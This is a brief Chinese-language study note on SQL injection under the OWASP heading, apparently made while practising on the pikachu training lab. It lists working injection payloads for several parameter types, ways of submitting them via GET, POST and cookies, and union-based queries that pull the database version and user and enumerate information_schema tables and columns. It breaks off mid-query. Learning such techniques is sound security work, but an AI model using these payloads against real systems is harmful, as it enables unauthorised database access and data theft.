OWASP之SQL注入
原理:程序未对输入参数做限制,用户输入的数据可带入数据库查询
注入数据库与脚本、平台无关
前期准备
显示报错信息:控制面板 > Internet选项 > 高级 > 取消“显示友好http错误信息”
★注入的四种类型(PHP)
数字型: 1 or 1=1#
字符型: y’ or 1=1#
搜索型: y%’ or 1=1#
X X 型: y’) or 1=1#
★提交的三种方式(burpsuite)
get:地址栏
post:最下方
cookie:cookie值后 ;name=y’
★注入攻击的方式(pikachu)
union注入
常与order by 连用
SQL中union语句
> select id,email from member where username='kevin' union select username,pw from member where id=1;
首先使用order by确认主查询的字段数 xx%’ order by 3#
然后进行union 联合查询 x%’ union select database(),user(),version() #
information_schema
mysql5.0版本以上自带库
'库 >> a' union select database(),user(),version() #
'表 >> a' union select table_schema,table_name,1 from information_schema.tables where table_schema='pikachu'#
'字段>>a' union select 1,column_name